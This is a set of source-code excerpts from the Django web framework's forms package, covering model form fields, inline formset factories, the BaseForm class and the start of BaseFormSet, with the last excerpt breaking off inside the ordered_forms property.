    True, an exception is raised if there is no ForeignKey from model to
    parent_model.
    """
    # avoid circular import
    from django.db.models import ForeignKey
    opts = model._meta
    if fk_name:
        fks_to_parent = [f for f in opts.fields if f.name == fk_name]
        if len(fks_to_parent) == 1:
            fk = fks_to_parent[0]
            if not isinstance(fk, ForeignKey) or \
                    (fk.remote_field.model != parent_model and
                     fk.remote_field.model not in parent_model._meta.get_parent_list()):
                raise ValueError(
                    "fk_name '%s' is not a ForeignKey to '%s'." % (fk_name, parent_model._meta.label)
                )
        elif len(fks_to_parent) == 0:
            raise ValueError(
                "'%s' has no field named '%s'." % (model._meta.label, fk_name)
            )
    else:
        # Try to discover what the ForeignKey from model to parent_model is
        fks_to_parent = [
            f for f in opts.fields
            if isinstance(f, ForeignKey) and (
                f.remote_field.model == parent_model or
                f.remote_field.model in parent_model._meta.get_parent_list()
            )
        ]
        if len(fks_to_parent) == 1:
            fk = fks_to_parent[0]
        elif len(fks_to_parent) == 0:
            if can_fail:
                return
            raise ValueError(
                "'%s' has no ForeignKey to '%s'." % (
                    model._meta.label,
                    parent_model._meta.label,
                )
            )
        else:
            raise ValueError(
                "'%s' has more than one ForeignKey to '%s'." % (
                    model._meta.label,
                    parent_model._meta.label,
                )
            )
    return fk


def inlineformset_factory(parent_model, model, form=ModelForm,
                          formset=BaseInlineFormSet, fk_name=None,
                          fields=None, exclude=None, extra=3, can_order=False,
                          can_delete=True, max_num=None, formfield_callback=None,
                          widgets=None, validate_max=False, localized_fields=None,
                          labels=None, help_texts=None, error_messages=None,
                          min_num=None, validate_min=False, field_classes=None):
    """
    Returns an ``InlineFormSet`` for the given kwargs.

    You must provide ``fk_name`` if ``model`` has more than one ``ForeignKey``
    to ``parent_model``.
    """
    fk = _get_foreign_key(parent_model, model, fk_name=fk_name)
    # enforce a max_num=1 when the foreign key to the parent model is unique.
    if fk.unique:
        max_num = 1
    kwargs = {
        'form': form,
        'formfield_callback': formfield_callback,
        'formset': formset,
        'extra': extra,
        'can_delete': can_delete,
        'can_order': can_order,
        'fields': fields,
        'exclude': exclude,
        'min_num': min_num,
        'max_num': max_num,
        'widgets': widgets,
        'validate_min': validate_min,
        'validate_max': validate_max,
        'localized_fields': localized_fields,
        'labels': labels,
        'help_texts': help_texts,
        'error_messages': error_messages,
        'field_classes': field_classes,
    }
    FormSet = modelformset_factory(model, **kwargs)
    FormSet.fk = fk
    return FormSet


# Fields #####################################################################

class InlineForeignKeyField(Field):
    """
    A basic integer field that deals with validating the given value to a
    given parent instance in an inline.
    """
    widget = HiddenInput
    default_error_messages = {
        'invalid_choice': _('The inline foreign key did not match the parent instance primary key.'),
    }

    def __init__(self, parent_instance, *args, **kwargs):
        self.parent_instance = parent_instance
        self.pk_field = kwargs.pop("pk_field", False)
        self.to_field = kwargs.pop("to_field", None)
        if self.parent_instance is not None:
            if self.to_field:
                kwargs["initial"] = getattr(self.parent_instance, self.to_field)
            else:
                kwargs["initial"] = self.parent_instance.pk
        kwargs["required"] = False
        super(InlineForeignKeyField, self).__init__(*args, **kwargs)

    def clean(self, value):
        if value in self.empty_values:
            if self.pk_field:
                return None
            # if there is no value act as we did before.
            return self.parent_instance
        # ensure the we compare the values as equal types.
        if self.to_field:
            orig = getattr(self.parent_instance, self.to_field)
        else:
            orig = self.parent_instance.pk
        if force_text(value) != force_text(orig):
            raise ValidationError(self.error_messages['invalid_choice'], code='invalid_choice')
        return self.parent_instance

    def has_changed(self, initial, data):
        return False


class ModelChoiceIterator(object):
    def __init__(self, field):
        self.field = field
        self.queryset = field.queryset

    def __iter__(self):
        if self.field.empty_label is not None:
            yield ("", self.field.empty_label)
        queryset = self.queryset.all()
        # Can't use iterator() when queryset uses prefetch_related()
        if not queryset._prefetch_related_lookups:
            queryset = queryset.iterator()
        for obj in queryset:
            yield self.choice(obj)

    def __len__(self):
        return (len(self.queryset) + (1 if self.field.empty_label is not None else 0))

    def choice(self, obj):
        return (self.field.prepare_value(obj), self.field.label_from_instance(obj))


class ModelChoiceField(ChoiceField):
    """A ChoiceField whose choices are a model QuerySet."""
    # This class is a subclass of ChoiceField for purity, but it doesn't
    # actually use any of ChoiceField's implementation.
    default_error_messages = {
        'invalid_choice': _('Select a valid choice. That choice is not one of'
                            ' the available choices.'),
    }
    iterator = ModelChoiceIterator

    def __init__(self, queryset, empty_label="---------",
                 required=True, widget=None, label=None, initial=None,
                 help_text='', to_field_name=None, limit_choices_to=None,
                 *args, **kwargs):
        if required and (initial is not None):
            self.empty_label = None
        else:
            self.empty_label = empty_label

        # Call Field instead of ChoiceField __init__() because we don't need
        # ChoiceField.__init__().
        Field.__init__(self, required, widget, label, initial, help_text,
                       *args, **kwargs)
        self.queryset = queryset
        self.limit_choices_to = limit_choices_to   # limit the queryset later.
        self.to_field_name = to_field_name

    def get_limit_choices_to(self):
        """
        Returns ``limit_choices_to`` for this form field.

        If it is a callable, it will be invoked and the result will be
        returned.
        """
        if callable(self.limit_choices_to):
            return self.limit_choices_to()
        return self.limit_choices_to

    def __deepcopy__(self, memo):
        result = super(ChoiceField, self).__deepcopy__(memo)
        # Need to force a new ModelChoiceIterator to be created, bug #11183
        result.queryset = result.queryset
        return result

    def _get_queryset(self):
        return self._queryset

    def _set_queryset(self, queryset):
        self._queryset = queryset
        self.widget.choices = self.choices

    queryset = property(_get_queryset, _set_queryset)

    # this method will be used to create object labels by the QuerySetIterator.
    # Override it to customize the label.
    def label_from_instance(self, obj):
        """
        This method is used to convert objects into strings; it's used to
        generate the labels for the choices presented by this object. Subclasses
        can override this method to customize the display of the choices.
        """
        return smart_text(obj)

    def _get_choices(self):
        # If self._choices is set, then somebody must have manually set
        # the property self.choices. In this case, just return self._choices.
        if hasattr(self, '_choices'):
            return self._choices

        # Otherwise, execute the QuerySet in self.queryset to determine the
        # choices dynamically. Return a fresh ModelChoiceIterator that has not been
        # consumed. Note that we're instantiating a new ModelChoiceIterator *each*
        # time _get_choices() is called (and, thus, each time self.choices is
        # accessed) so that we can ensure the QuerySet has not been consumed. This
        # construct might look complicated but it allows for lazy evaluation of
        # the queryset.
        return self.iterator(self)

    choices = property(_get_choices, ChoiceField._set_choices)

    def prepare_value(self, value):
        if hasattr(value, '_meta'):
            if self.to_field_name:
                return value.serializable_value(self.to_field_name)
            else:
                return value.pk
        return super(ModelChoiceField, self).prepare_value(value)

    def to_python(self, value):
        if value in self.empty_values:
            return None
        try:
            key = self.to_field_name or 'pk'
            value = self.queryset.get(**{key: value})
        except (ValueError, TypeError, self.queryset.model.DoesNotExist):
            raise ValidationError(self.error_messages['invalid_choice'], code='invalid_choice')
        return value

    def validate(self, value):
        return Field.validate(self, value)

    def has_changed(self, initial, data):
        initial_value = initial if initial is not None else ''
        data_value = data if data is not None else ''
        return force_text(self.prepare_value(initial_value)) != force_text(data_value)


class ModelMultipleChoiceField(ModelChoiceField):
    """A MultipleChoiceField whose choices are a model QuerySet."""
    widget = SelectMultiple
    hidden_widget = MultipleHiddenInput
    default_error_messages = {
        'list': _('Enter a list of values.'),
        'invalid_choice': _('Select a valid choice. %(value)s is not one of the'
                            ' available choices.'),
        'invalid_pk_value': _('"%(pk)s" is not a valid value for a primary key.')
    }

    def __init__(self, queryset, required=True, widget=None, label=None,
                 initial=None, help_text='', *args, **kwargs):
        super(ModelMultipleChoiceField, self).__init__(
            queryset, None, required, widget, label, initial, help_text,
            *args, **kwargs
        )

    def to_python(self, value):
        if not value:
            return []
        return list(self._check_values(value))

    def clean(self, value):
        value = self.prepare_value(value)
        if self.required and not value:
            raise ValidationError(self.error_messages['required'], code='required')
        elif not self.required and not value:
            return self.queryset.none()
        if not isinstance(value, (list, tuple)):
            raise ValidationError(self.error_messages['list'], code='list')
        qs = self._check_values(value)
        # Since this overrides the inherited ModelChoiceField.clean
        # we run custom validators here
        self.run_validators(value)
        return qs

    def _check_values(self, value):
        """
        Given a list of possible PK values, returns a QuerySet of the
        corresponding objects. Raises a ValidationError if a given value is
        invalid (not a valid PK, not in the queryset, etc.)
        """
        key = self.to_field_name or 'pk'
        # deduplicate given values to avoid creating many querysets or
        # requiring the database backend deduplicate efficiently.
        try:
            value = frozenset(value)
        except TypeError:
            # list of lists isn't hashable, for example
            raise ValidationError(
                self.error_messages['list'],
                code='list',
            )
        for pk in value:
            try:
                self.queryset.filter(**{key: pk})
            except (ValueError, TypeError):
                raise ValidationError(
                    self.error_messages['invalid_pk_value'],
                    code='invalid_pk_value',
                    params={'pk': pk},
                )
        qs = self.queryset.filter(**{'%s__in' % key: value})
        pks = set(force_text(getattr(o, key)) for o in qs)
        for val in value:
            if force_text(val) not in pks:
                raise ValidationError(
                    self.error_messages['invalid_choice'],
                    code='invalid_choice',
                    params={'value': val},
                )
        return qs

    def prepare_value(self, value):
        if (hasattr(value, '__iter__') and
                not isinstance(value, six.text_type) and
                not hasattr(value, '_meta')):
            return [super(ModelMultipleChoiceField, self).prepare_value(v) for v in value]
        return super(ModelMultipleChoiceField, self).prepare_value(value)

    def has_changed(self, initial, data):
        if initial is None:
            initial = []
        if data is None:
            data = []
        if len(initial) != len(data):
            return True
        initial_set = set(force_text(value) for value in self.prepare_value(initial))
        data_set = set(force_text(value) for value in data)
        return data_set != initial_set


def modelform_defines_fields(form_class):
    return (form_class is not None and (
            hasattr(form_class, '_meta') and
            (form_class._meta.fields is not None or
             form_class._meta.exclude is not None)
            ))






"""
Form classes
"""

from __future__ import unicode_literals

import copy
from collections import OrderedDict

from django.core.exceptions import NON_FIELD_ERRORS, ValidationError
# BoundField is imported for backwards compatibility in Django 1.9
from django.forms.boundfield import BoundField  # NOQA
from django.forms.fields import Field, FileField
# pretty_name is imported for backwards compatibility in Django 1.9
from django.forms.utils import ErrorDict, ErrorList, pretty_name  # NOQA
from django.forms.widgets import Media, MediaDefiningClass
from django.utils import six
from django.utils.encoding import force_text, python_2_unicode_compatible
from django.utils.functional import cached_property
from django.utils.html import conditional_escape, html_safe
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext as _

__all__ = ('BaseForm', 'Form')


class DeclarativeFieldsMetaclass(MediaDefiningClass):
    """
    Metaclass that collects Fields declared on the base classes.
    """
    def __new__(mcs, name, bases, attrs):
        # Collect fields from current class.
        current_fields = []
        for key, value in list(attrs.items()):
            if isinstance(value, Field):
                current_fields.append((key, value))
                attrs.pop(key)
        current_fields.sort(key=lambda x: x[1].creation_counter)
        attrs['declared_fields'] = OrderedDict(current_fields)

        new_class = super(DeclarativeFieldsMetaclass, mcs).__new__(mcs, name, bases, attrs)

        # Walk through the MRO.
        declared_fields = OrderedDict()
        for base in reversed(new_class.__mro__):
            # Collect fields from base class.
            if hasattr(base, 'declared_fields'):
                declared_fields.update(base.declared_fields)

            # Field shadowing.
            for attr, value in base.__dict__.items():
                if value is None and attr in declared_fields:
                    declared_fields.pop(attr)

        new_class.base_fields = declared_fields
        new_class.declared_fields = declared_fields

        return new_class


@html_safe
@python_2_unicode_compatible
class BaseForm(object):
    # This is the main implementation of all the Form logic. Note that this
    # class is different than Form. See the comments by the Form class for more
    # information. Any improvements to the form API should be made to *this*
    # class, not to the Form class.
    field_order = None
    prefix = None
    use_required_attribute = True

    def __init__(self, data=None, files=None, auto_id='id_%s', prefix=None,
                 initial=None, error_class=ErrorList, label_suffix=None,
                 empty_permitted=False, field_order=None, use_required_attribute=None):
        self.is_bound = data is not None or files is not None
        self.data = data or {}
        self.files = files or {}
        self.auto_id = auto_id
        if prefix is not None:
            self.prefix = prefix
        self.initial = initial or {}
        self.error_class = error_class
        # Translators: This is the default suffix added to form field labels
        self.label_suffix = label_suffix if label_suffix is not None else _(':')
        self.empty_permitted = empty_permitted
        self._errors = None  # Stores the errors after clean() has been called.

        # The base_fields class attribute is the *class-wide* definition of
        # fields. Because a particular *instance* of the class might want to
        # alter self.fields, we create self.fields here by copying base_fields.
        # Instances should always modify self.fields; they should not modify
        # self.base_fields.
        self.fields = copy.deepcopy(self.base_fields)
        self._bound_fields_cache = {}
        self.order_fields(self.field_order if field_order is None else field_order)

        if use_required_attribute is not None:
            self.use_required_attribute = use_required_attribute

    def order_fields(self, field_order):
        """
        Rearranges the fields according to field_order.

        field_order is a list of field names specifying the order. Fields not
        included in the list are appended in the default order for backward
        compatibility with subclasses not overriding field_order. If field_order
        is None, all fields are kept in the order defined in the class.
        Unknown fields in field_order are ignored to allow disabling fields in
        form subclasses without redefining ordering.
        """
        if field_order is None:
            return
        fields = OrderedDict()
        for key in field_order:
            try:
                fields[key] = self.fields.pop(key)
            except KeyError:  # ignore unknown fields
                pass
        fields.update(self.fields)  # add remaining fields in original order
        self.fields = fields

    def __str__(self):
        return self.as_table()

    def __repr__(self):
        if self._errors is None:
            is_valid = "Unknown"
        else:
            is_valid = self.is_bound and not bool(self._errors)
        return '<%(cls)s bound=%(bound)s, valid=%(valid)s, fields=(%(fields)s)>' % {
            'cls': self.__class__.__name__,
            'bound': self.is_bound,
            'valid': is_valid,
            'fields': ';'.join(self.fields),
        }

    def __iter__(self):
        for name in self.fields:
            yield self[name]

    def __getitem__(self, name):
        "Returns a BoundField with the given name."
        try:
            field = self.fields[name]
        except KeyError:
            raise KeyError(
                "Key '%s' not found in '%s'. Choices are: %s." % (
                    name,
                    self.__class__.__name__,
                    ', '.join(sorted(f for f in self.fields)),
                )
            )
        if name not in self._bound_fields_cache:
            self._bound_fields_cache[name] = field.get_bound_field(self, name)
        return self._bound_fields_cache[name]

    @property
    def errors(self):
        "Returns an ErrorDict for the data provided for the form"
        if self._errors is None:
            self.full_clean()
        return self._errors

    def is_valid(self):
        """
        Returns True if the form has no errors. Otherwise, False. If errors are
        being ignored, returns False.
        """
        return self.is_bound and not self.errors

    def add_prefix(self, field_name):
        """
        Returns the field name with a prefix appended, if this Form has a
        prefix set.

        Subclasses may wish to override.
        """
        return '%s-%s' % (self.prefix, field_name) if self.prefix else field_name

    def add_initial_prefix(self, field_name):
        """
        Add a 'initial' prefix for checking dynamic initial values
        """
        return 'initial-%s' % self.add_prefix(field_name)

    def _html_output(self, normal_row, error_row, row_ender, help_text_html, errors_on_separate_row):
        "Helper function for outputting HTML. Used by as_table(), as_ul(), as_p()."
        top_errors = self.non_field_errors()  # Errors that should be displayed above all fields.
        output, hidden_fields = [], []

        for name, field in self.fields.items():
            html_class_attr = ''
            bf = self[name]
            # Escape and cache in local variable.
            bf_errors = self.error_class([conditional_escape(error) for error in bf.errors])
            if bf.is_hidden:
                if bf_errors:
                    top_errors.extend(
                        [_('(Hidden field %(name)s) %(error)s') % {'name': name, 'error': force_text(e)}
                         for e in bf_errors])
                hidden_fields.append(six.text_type(bf))
            else:
                # Create a 'class="..."' attribute if the row should have any
                # CSS classes applied.
                css_classes = bf.css_classes()
                if css_classes:
                    html_class_attr = ' class="%s"' % css_classes

                if errors_on_separate_row and bf_errors:
                    output.append(error_row % force_text(bf_errors))

                if bf.label:
                    label = conditional_escape(force_text(bf.label))
                    label = bf.label_tag(label) or ''
                else:
                    label = ''

                if field.help_text:
                    help_text = help_text_html % force_text(field.help_text)
                else:
                    help_text = ''

                output.append(normal_row % {
                    'errors': force_text(bf_errors),
                    'label': force_text(label),
                    'field': six.text_type(bf),
                    'help_text': help_text,
                    'html_class_attr': html_class_attr,
                    'css_classes': css_classes,
                    'field_name': bf.html_name,
                })

        if top_errors:
            output.insert(0, error_row % force_text(top_errors))

        if hidden_fields:  # Insert any hidden fields in the last row.
            str_hidden = ''.join(hidden_fields)
            if output:
                last_row = output[-1]
                # Chop off the trailing row_ender (e.g. '</td></tr>') and
                # insert the hidden fields.
                if not last_row.endswith(row_ender):
                    # This can happen in the as_p() case (and possibly others
                    # that users write): if there are only top errors, we may
                    # not be able to conscript the last row for our purposes,
                    # so insert a new, empty row.
                    last_row = (normal_row % {
                        'errors': '',
                        'label': '',
                        'field': '',
                        'help_text': '',
                        'html_class_attr': html_class_attr,
                        'css_classes': '',
                        'field_name': '',
                    })
                    output.append(last_row)
                output[-1] = last_row[:-len(row_ender)] + str_hidden + row_ender
            else:
                # If there aren't any rows in the output, just append the
                # hidden fields.
                output.append(str_hidden)
        return mark_safe('\n'.join(output))

    def as_table(self):
        "Returns this form rendered as HTML <tr>s -- excluding the <table></table>."
        return self._html_output(
            normal_row='<tr%(html_class_attr)s><th>%(label)s</th><td>%(errors)s%(field)s%(help_text)s</td></tr>',
            error_row='<tr><td colspan="2">%s</td></tr>',
            row_ender='</td></tr>',
            help_text_html='<br /><span class="helptext">%s</span>',
            errors_on_separate_row=False)

    def as_ul(self):
        "Returns this form rendered as HTML <li>s -- excluding the <ul></ul>."
        return self._html_output(
            normal_row='<li%(html_class_attr)s>%(errors)s%(label)s %(field)s%(help_text)s</li>',
            error_row='<li>%s</li>',
            row_ender='</li>',
            help_text_html=' <span class="helptext">%s</span>',
            errors_on_separate_row=False)

    def as_p(self):
        "Returns this form rendered as HTML <p>s."
        return self._html_output(
            normal_row='<p%(html_class_attr)s>%(label)s %(field)s%(help_text)s</p>',
            error_row='%s',
            row_ender='</p>',
            help_text_html=' <span class="helptext">%s</span>',
            errors_on_separate_row=True)

    def non_field_errors(self):
        """
        Returns an ErrorList of errors that aren't associated with a particular
        field -- i.e., from Form.clean(). Returns an empty ErrorList if there
        are none.
        """
        return self.errors.get(NON_FIELD_ERRORS, self.error_class(error_class='nonfield'))

    def add_error(self, field, error):
        """
        Update the content of `self._errors`.

        The `field` argument is the name of the field to which the errors
        should be added. If its value is None the errors will be treated as
        NON_FIELD_ERRORS.

        The `error` argument can be a single error, a list of errors, or a
        dictionary that maps field names to lists of errors. What we define as
        an "error" can be either a simple string or an instance of
        ValidationError with its message attribute set and what we define as
        list or dictionary can be an actual `list` or `dict` or an instance
        of ValidationError with its `error_list` or `error_dict` attribute set.

        If `error` is a dictionary, the `field` argument *must* be None and
        errors will be added to the fields that correspond to the keys of the
        dictionary.
        """
        if not isinstance(error, ValidationError):
            # Normalize to ValidationError and let its constructor
            # do the hard work of making sense of the input.
            error = ValidationError(error)

        if hasattr(error, 'error_dict'):
            if field is not None:
                raise TypeError(
                    "The argument `field` must be `None` when the `error` "
                    "argument contains errors for multiple fields."
                )
            else:
                error = error.error_dict
        else:
            error = {field or NON_FIELD_ERRORS: error.error_list}

        for field, error_list in error.items():
            if field not in self.errors:
                if field != NON_FIELD_ERRORS and field not in self.fields:
                    raise ValueError(
                        "'%s' has no field named '%s'." % (self.__class__.__name__, field))
                if field == NON_FIELD_ERRORS:
                    self._errors[field] = self.error_class(error_class='nonfield')
                else:
                    self._errors[field] = self.error_class()
            self._errors[field].extend(error_list)
            if field in self.cleaned_data:
                del self.cleaned_data[field]

    def has_error(self, field, code=None):
        if code is None:
            return field in self.errors
        if field in self.errors:
            for error in self.errors.as_data()[field]:
                if error.code == code:
                    return True
        return False

    def full_clean(self):
        """
        Cleans all of self.data and populates self._errors and
        self.cleaned_data.
        """
        self._errors = ErrorDict()
        if not self.is_bound:  # Stop further processing.
            return
        self.cleaned_data = {}
        # If the form is permitted to be empty, and none of the form data has
        # changed from the initial data, short circuit any validation.
        if self.empty_permitted and not self.has_changed():
            return

        self._clean_fields()
        self._clean_form()
        self._post_clean()

    def _clean_fields(self):
        for name, field in self.fields.items():
            # value_from_datadict() gets the data from the data dictionaries.
            # Each widget type knows how to retrieve its own data, because some
            # widgets split data over several HTML fields.
            if field.disabled:
                value = self.get_initial_for_field(field, name)
            else:
                value = field.widget.value_from_datadict(self.data, self.files, self.add_prefix(name))
            try:
                if isinstance(field, FileField):
                    initial = self.get_initial_for_field(field, name)
                    value = field.clean(value, initial)
                else:
                    value = field.clean(value)
                self.cleaned_data[name] = value
                if hasattr(self, 'clean_%s' % name):
                    value = getattr(self, 'clean_%s' % name)()
                    self.cleaned_data[name] = value
            except ValidationError as e:
                self.add_error(name, e)

    def _clean_form(self):
        try:
            cleaned_data = self.clean()
        except ValidationError as e:
            self.add_error(None, e)
        else:
            if cleaned_data is not None:
                self.cleaned_data = cleaned_data

    def _post_clean(self):
        """
        An internal hook for performing additional cleaning after form cleaning
        is complete. Used for model validation in model forms.
        """
        pass

    def clean(self):
        """
        Hook for doing any extra form-wide cleaning after Field.clean() has been
        called on every field. Any ValidationError raised by this method will
        not be associated with a particular field; it will have a special-case
        association with the field named '__all__'.
        """
        return self.cleaned_data

    def has_changed(self):
        """
        Returns True if data differs from initial.
        """
        return bool(self.changed_data)

    @cached_property
    def changed_data(self):
        data = []
        for name, field in self.fields.items():
            prefixed_name = self.add_prefix(name)
            data_value = field.widget.value_from_datadict(self.data, self.files, prefixed_name)
            if not field.show_hidden_initial:
                # Use the BoundField's initial as this is the value passed to
                # the widget.
                initial_value = self[name].initial
            else:
                initial_prefixed_name = self.add_initial_prefix(name)
                hidden_widget = field.hidden_widget()
                try:
                    initial_value = field.to_python(hidden_widget.value_from_datadict(
                        self.data, self.files, initial_prefixed_name))
                except ValidationError:
                    # Always assume data has changed if validation fails.
                    data.append(name)
                    continue
            if field.has_changed(initial_value, data_value):
                data.append(name)
        return data

    @property
    def media(self):
        """
        Provide a description of all media required to render the widgets on this form
        """
        media = Media()
        for field in self.fields.values():
            media = media + field.widget.media
        return media

    def is_multipart(self):
        """
        Returns True if the form needs to be multipart-encoded, i.e. it has
        FileInput. Otherwise, False.
        """
        for field in self.fields.values():
            if field.widget.needs_multipart_form:
                return True
        return False

    def hidden_fields(self):
        """
        Returns a list of all the BoundField objects that are hidden fields.
        Useful for manual form layout in templates.
        """
        return [field for field in self if field.is_hidden]

    def visible_fields(self):
        """
        Returns a list of BoundField objects that aren't hidden fields.
        The opposite of the hidden_fields() method.
        """
        return [field for field in self if not field.is_hidden]

    def get_initial_for_field(self, field, field_name):
        """
        Return initial data for field on form. Use initial data from the form
        or the field, in that order. Evaluate callable values.
        """
        value = self.initial.get(field_name, field.initial)
        if callable(value):
            value = value()
        return value


class Form(six.with_metaclass(DeclarativeFieldsMetaclass, BaseForm)):
    "A collection of Fields, plus their associated data."
    # This is a separate class from BaseForm in order to abstract the way
    # self.fields is specified. This class (Form) is the one that does the
    # fancy metaclass stuff purely for the semantic sugar -- it allows one
    # to define a form using declarative syntax.
    # BaseForm itself has no way of designating self.fields.






from __future__ import unicode_literals

from django.core.exceptions import ValidationError
from django.forms import Form
from django.forms.fields import BooleanField, IntegerField
from django.forms.utils import ErrorList
from django.forms.widgets import HiddenInput
from django.utils import six
from django.utils.encoding import python_2_unicode_compatible
from django.utils.functional import cached_property
from django.utils.html import html_safe
from django.utils.safestring import mark_safe
from django.utils.six.moves import range
from django.utils.translation import ugettext as _, ungettext

__all__ = ('BaseFormSet', 'formset_factory', 'all_valid')

# special field names
TOTAL_FORM_COUNT = 'TOTAL_FORMS'
INITIAL_FORM_COUNT = 'INITIAL_FORMS'
MIN_NUM_FORM_COUNT = 'MIN_NUM_FORMS'
MAX_NUM_FORM_COUNT = 'MAX_NUM_FORMS'
ORDERING_FIELD_NAME = 'ORDER'
DELETION_FIELD_NAME = 'DELETE'

# default minimum number of forms in a formset
DEFAULT_MIN_NUM = 0

# default maximum number of forms in a formset, to prevent memory exhaustion
DEFAULT_MAX_NUM = 1000


class ManagementForm(Form):
    """
    ``ManagementForm`` is used to keep track of how many form instances
    are displayed on the page. If adding new forms via javascript, you should
    increment the count field of this form as well.
    """
    def __init__(self, *args, **kwargs):
        self.base_fields[TOTAL_FORM_COUNT] = IntegerField(widget=HiddenInput)
        self.base_fields[INITIAL_FORM_COUNT] = IntegerField(widget=HiddenInput)
        # MIN_NUM_FORM_COUNT and MAX_NUM_FORM_COUNT are output with the rest of
        # the management form, but only for the convenience of client-side
        # code. The POST value of them returned from the client is not checked.
        self.base_fields[MIN_NUM_FORM_COUNT] = IntegerField(required=False, widget=HiddenInput)
        self.base_fields[MAX_NUM_FORM_COUNT] = IntegerField(required=False, widget=HiddenInput)
        super(ManagementForm, self).__init__(*args, **kwargs)


@html_safe
@python_2_unicode_compatible
class BaseFormSet(object):
    """
    A collection of instances of the same Form class.
    """
    def __init__(self, data=None, files=None, auto_id='id_%s', prefix=None,
                 initial=None, error_class=ErrorList, form_kwargs=None):
        self.is_bound = data is not None or files is not None
        self.prefix = prefix or self.get_default_prefix()
        self.auto_id = auto_id
        self.data = data or {}
        self.files = files or {}
        self.initial = initial
        self.form_kwargs = form_kwargs or {}
        self.error_class = error_class
        self._errors = None
        self._non_form_errors = None

    def __str__(self):
        return self.as_table()

    def __iter__(self):
        """Yields the forms in the order they should be rendered"""
        return iter(self.forms)

    def __getitem__(self, index):
        """Returns the form at the given index, based on the rendering order"""
        return self.forms[index]

    def __len__(self):
        return len(self.forms)

    def __bool__(self):
        """All formsets have a management form which is not included in the length"""
        return True

    def __nonzero__(self):      # Python 2 compatibility
        return type(self).__bool__(self)

    @property
    def management_form(self):
        """Returns the ManagementForm instance for this FormSet."""
        if self.is_bound:
            form = ManagementForm(self.data, auto_id=self.auto_id, prefix=self.prefix)
            if not form.is_valid():
                raise ValidationError(
                    _('ManagementForm data is missing or has been tampered with'),
                    code='missing_management_form',
                )
        else:
            form = ManagementForm(auto_id=self.auto_id, prefix=self.prefix, initial={
                TOTAL_FORM_COUNT: self.total_form_count(),
                INITIAL_FORM_COUNT: self.initial_form_count(),
                MIN_NUM_FORM_COUNT: self.min_num,
                MAX_NUM_FORM_COUNT: self.max_num
            })
        return form

    def total_form_count(self):
        """Returns the total number of forms in this FormSet."""
        if self.is_bound:
            # return absolute_max if it is lower than the actual total form
            # count in the data; this is DoS protection to prevent clients
            # from forcing the server to instantiate arbitrary numbers of
            # forms
            return min(self.management_form.cleaned_data[TOTAL_FORM_COUNT], self.absolute_max)
        else:
            initial_forms = self.initial_form_count()
            total_forms = max(initial_forms, self.min_num) + self.extra
            # Allow all existing related objects/inlines to be displayed,
            # but don't allow extra beyond max_num.
            if initial_forms > self.max_num >= 0:
                total_forms = initial_forms
            elif total_forms > self.max_num >= 0:
                total_forms = self.max_num
        return total_forms

    def initial_form_count(self):
        """Returns the number of forms that are required in this FormSet."""
        if self.is_bound:
            return self.management_form.cleaned_data[INITIAL_FORM_COUNT]
        else:
            # Use the length of the initial data if it's there, 0 otherwise.
            initial_forms = len(self.initial) if self.initial else 0
        return initial_forms

    @cached_property
    def forms(self):
        """
        Instantiate forms at first property access.
        """
        # DoS protection is included in total_form_count()
        forms = [self._construct_form(i, **self.get_form_kwargs(i))
                 for i in range(self.total_form_count())]
        return forms

    def get_form_kwargs(self, index):
        """
        Return additional keyword arguments for each individual formset form.

        index will be None if the form being constructed is a new empty
        form.
        """
        return self.form_kwargs.copy()

    def _construct_form(self, i, **kwargs):
        """
        Instantiates and returns the i-th form instance in a formset.
        """
        defaults = {
            'auto_id': self.auto_id,
            'prefix': self.add_prefix(i),
            'error_class': self.error_class,
            # Don't render the HTML 'required' attribute as it may cause
            # incorrect validation for extra, optional, and deleted
            # forms in the formset.
            'use_required_attribute': False,
        }
        if self.is_bound:
            defaults['data'] = self.data
            defaults['files'] = self.files
        if self.initial and 'initial' not in kwargs:
            try:
                defaults['initial'] = self.initial[i]
            except IndexError:
                pass
        # Allow extra forms to be empty, unless they're part of
        # the minimum forms.
        if i >= self.initial_form_count() and i >= self.min_num:
            defaults['empty_permitted'] = True
        defaults.update(kwargs)
        form = self.form(**defaults)
        self.add_fields(form, i)
        return form

    @property
    def initial_forms(self):
        """Return a list of all the initial forms in this formset."""
        return self.forms[:self.initial_form_count()]

    @property
    def extra_forms(self):
        """Return a list of all the extra forms in this formset."""
        return self.forms[self.initial_form_count():]

    @property
    def empty_form(self):
        form = self.form(
            auto_id=self.auto_id,
            prefix=self.add_prefix('__prefix__'),
            empty_permitted=True,
            use_required_attribute=False,
            **self.get_form_kwargs(None)
        )
        self.add_fields(form, None)
        return form

    @property
    def cleaned_data(self):
        """
        Returns a list of form.cleaned_data dicts for every form in self.forms.
        """
        if not self.is_valid():
            raise AttributeError("'%s' object has no attribute 'cleaned_data'" % self.__class__.__name__)
        return [form.cleaned_data for form in self.forms]

    @property
    def deleted_forms(self):
        """
        Returns a list of forms that have been marked for deletion.
        """
        if not self.is_valid() or not self.can_delete:
            return []
        # construct _deleted_form_indexes which is just a list of form indexes
        # that have had their deletion widget set to True
        if not hasattr(self, '_deleted_form_indexes'):
            self._deleted_form_indexes = []
            for i in range(0, self.total_form_count()):
                form = self.forms[i]
                # if this is an extra form and hasn't changed, don't consider it
                if i >= self.initial_form_count() and not form.has_changed():
                    continue
                if self._should_delete_form(form):
                    self._deleted_form_indexes.append(i)
        return [self.forms[i] for i in self._deleted_form_indexes]

    @property
    def ordered_forms(self):
        """
        Returns a list of form in the order specified by the incoming data.
        Raises an AttributeError if ordering is not allowed.
        """
        if not self.is_valid() or not self.can_order:
            raise AttributeError("'%s' object has no attribute 'ordered_forms'" % self.__class__.__name__)
        # Construct _ordering, which is a list of (form_index, order_field_value)
        # tuples. After constructing this list, we'll sort it by order_field_value
        # so we have a way to get to the form indexes in the order specified
        # by the form data.
        if not hasattr(self, '_ordering'):
            self._ordering = []
            for i in range(0, self.total_form_count()):
                form = self.forms[i]
                # if this is an extra form and hasn't changed, don't consider it
                if i >= self.initial_form_count() and not form.has_changed():
                    continue
                # don't add data marked for deletion to self.ordered_data
                if self.can_delete and self._should_delete_form(form):
                    continue
                self._ordering.append((i, form.cleaned_data[ORDERING_FIELD_NAME]))
            # After we're done populating self._ordering, sort it.
            # A sort function to order things numerically ascending, but
            # None should be sorted below anything else. Allowing None as
            # a comparison value makes it so we can leave ordering fields
            # blank.

            def compare_ordering_key(k):
                if k[1] is None:
                    return (1, 0)  # +infinity, larger than any number
                return (0, k[1])
            self._ordering.sort(key=compare_ordering_key)
        # Return a list of form.cleaned_data dicts in the order specified by
        # the form data.
